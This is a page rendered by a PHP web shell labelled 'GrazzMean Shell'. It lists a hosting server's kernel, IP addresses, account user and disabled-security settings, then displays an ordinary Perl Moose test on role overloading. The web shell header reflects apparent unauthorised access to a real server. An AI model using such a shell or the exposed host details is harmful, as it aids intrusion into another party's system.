shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Moose/t/roles/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 18.118.9.147
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : overloading_to_role.t
use strict;
use warnings;

use Test::More 0.88;
use if $ENV{AUTHOR_TESTING}, 'Test::Warnings';
use overload ();

use lib 't/lib';

use OverloadingTests;
use Overloading::ClassConsumesRoleConsumesOverloads;

for my $role (
    qw( Overloading::RoleWithOverloads Overloading::RoleConsumesOverloads )) {

    ok(
        Overloading::ClassConsumesRoleConsumesOverloads->DOES($role),
        "Overloading::ClassConsumesRoleConsumesOverloads does $role role"
    );
}

OverloadingTests::test_overloading_for_package($_) for qw(
    Overloading::RoleWithOverloads
    Overloading::RoleConsumesOverloads
    Overloading::ClassConsumesRoleConsumesOverloads
);

OverloadingTests::test_overloading_for_object(
    'Overloading::ClassConsumesRoleConsumesOverloads');

# These tests failed on 5.18+ in MXRWO - the key issue was the lack of a
# "fallback" key being passed to overload.pm
{
    package MyRole1;
    use Moose::Role;
    use overload q{""} => '_stringify';
    sub _stringify {__PACKAGE__}
}

{
    package MyRole2;
    use Moose::Role;
    with 'MyRole1';
}

{
    package Class1;
    use Moose;
    with 'MyRole2';
}

is(
    Class1->new . q{},
    'MyRole1',
    'stringification overloading is passed through all roles'
);

done_testing();
© 2025 GrazzMean